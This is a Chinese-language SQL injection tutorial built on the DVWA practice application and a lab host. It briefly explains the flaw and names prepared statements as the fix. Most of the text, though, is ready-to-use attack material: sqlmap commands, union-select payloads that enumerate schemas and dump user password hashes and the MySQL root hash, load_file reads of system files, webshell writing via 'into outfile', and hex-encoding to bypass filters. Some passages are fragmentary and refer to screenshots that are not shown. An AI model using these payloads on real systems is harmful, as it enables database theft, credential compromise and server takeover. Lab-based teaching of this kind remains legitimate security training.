漏洞描述
Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执行,导致参数中的特殊字符打破了 SQL 语句原有逻辑,黑客可以利用该漏洞执行任意 SQL 语句,如查询数据、下载数据、写入 webshell 、执行系统命令以及绕过登录限制等。
测试方法
在发现有可控参数的地方使用 sqlmap 进行 SQL 注入的检查或者利用, 也可以使用其他的 SQL 注入工具,简单点的可以手工测试,利用单引号、 and
1=1 和 and 1=2 以及字符型注入进行判断!推荐使用 burpsuite 的 sqlmap 插件,这样可以很方便,鼠标右键就可以将数据包直接发送到 sqlmap 里面进行检测了!
修复建议
代码层最佳防御 sql 漏洞方案:采用 sql 语句预编译和绑定变量,是防御
sql 注入的最佳方法。
这里可进行查看到。
sqlmap包下载地址:https://sqlmap.org/
这里即可检测到并附带几种注入方式。
在 mysql5 版本以后,mysql 默认在数据库中存放在一个叫 infomation_schema 里面 这个库里面有很多表 重点是这三个表 columns 、tables、SCHEMATA 表字段 CHEMA_NAME 记录着库的信息。
通过 infomation_schema 查询 www_dvwa_com 库里所有的表和字段
select * from information_schema.`COLUMNS` where TABLE_SCHEMA='www_dvwa_com'
数据库.表名 这种查询方法是指定某个数据库某个表 ``这个符号可以忽略不用
查询某个库某个表的字段可以这样查询
select * from information_schema.COLUMNS where TABLE_SCHEMA='www_dvwa_com' and TABLE_NAME='users'
SQL 注入漏洞的产生需要满足以下两个条件
select * from users where id=1'
此 SQL 语句不符合语法规则就会报错。
这里我们查询一是可以进行搜索到的;
加个单引号则报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
当用户传入参数为 1 and 1=1 时
select * from users where id=1 and 1=1
因为 1=1 为真 id=1 也是真 and 两边均为真 所以页面会返回 id=1 的结果。如果用户传入参数为 1 and 1=2 时,等同于SELECT * FROM users WHERE id=1 AND 1=2
因为 1=2 为假 id=1 为真 and 两边有一个为假,所以页面返回与 id=1 不一样的
结果。
由此可以初步判断存在 SQL 注入漏洞,攻击者可以进一步拼接 SQL 攻击语句, 进行攻击,致使信息泄露,甚至获取服务器权限。
id = 1 and 1=2
id = 1 or 1=1
id = '1' or '1'='1'
id=" 1 "or "1"="1"
无回显是指 根据输入的语句 页面没有任何变化,或者没有数据库中的内容显示到网页中.
#
单行注释 注意与 url 中的#区分,常编码为%23
--
空格 单行注释 注意为短线短线空格
/*()*/
多行注释 至少存在俩处的注入 /**/
常用来作为空格
是否存在注入并且判断注入类型判断字段数 order by
确定回显点 union select 1,2
查询数据库信息 @@version @@datadir
查询用户名,数据库名 user() database()
文件读取 union select 1,load_file('C:\\wondows\\win.ini')#
写入 webshell select..into outfile...
补充一点,使用 sql
注入遇到转义字符串的单引号或者双引号,可使用 HEX
编码绕过
SQL 注入分类:按 SQLMap 中的分类来看,SQL 注入类型有以下 5 种: UNION query SQL injection
(可联合查询注入)
Stacked queries SQL injection
(可多语句查询注入)堆叠查询
Boolean-based blind SQL injection
(布尔型注入) Error-based SQL injection
(报错型注入)
Time-based blind SQL injection
(基于时间延迟注入)
sqlmap -u "http://192.168.13.143/06/vul/sqli/sqli_str.php?name=vince&submit=1" -p name --dbms mysql -v 1
GET 注入
GET 请求的参数是放在 URL 里的,GET 请求的 URL 传参有长度限制 中文需要
URL 编码
POST 注入
POST 请求参数是放在请求 body 里的,长度没有限制
COOKIE 注入
cookie 参数放在请求头信息,提交的时候 服务器会从请求头获取
int 整型
select * from users where id=1
sting 字符型
select * from users where username='admin'
like 搜索型
select * from news where title like '%标题%'
order by N
猜数据库:
1' union select 1,database()
payload 利用另一种方式:
1' union select user(),database() version()
得到数据库名:dvwa
PS:union 查询结合了两个 select 查询结果,根据上面的 order by 语句我们知道查询包含两列,为了能够现实两列查询结果,我们需要用 union 查询结合我们构造的另外一个 select.注意在使用 union 查询的时候需要和主查询的列数相同。猜表名:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()
得到表名:guestbook,users
group_concat
分组猜列名:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#
(用编码就不用单引号,用单引号就不用编码)
得到列 : user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,usernam e,password
猜用户数据:
列举出几种 payload
:
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
1' union select null,concat_ws(char(32,58,32),user,password) from users #
1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #
得到用户数据:
admin 5f4dcc3b5aa765d61d8327deb882cf99
猜 root 用户:
1' union select 1,group_concat(user,password) from mysql.user
得到root用户信息: root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的字段要数要相同,不然会出现报错。
如果直接联合两个表 因为列数跟第一个表不一样 会导致出错
整合的联合查询方法
SELECT * FROM guestbook WHERE comment_id=1 union select 1,2,3 from users
guestbook 有个三个字段 users 也需要有三个与之匹配
这些数字可以替换成字段的名称或者函数。替换成函数
SELECT * FROM guestbook WHERE comment_id=1 union select database(),user(),version() from users
字段替换成字段
SELECT * FROM guestbook WHERE comment_id=1 union select user_id,user,password from users
如果没有加上 limit 限定条数会把所有内容查询出来,所以都会加上 limit 1 限定SELECT * FROM guestbook WHERE comment_id=1 union select user_id,user,password from users limit 1
但是只会显示第一条,因为 SELECT * FROM guestbook WHERE comment_id=1
这个语句是存在记录的 如果想要admin 的内容可以把1 换成其他不存在的记录, 因为默认负数就表示不存在的,所以可以在数字前加上-1 即可显示第二个表的内容。
SELECT * FROM guestbook WHERE comment_id=-1 union select user_id,user,password from users limit 1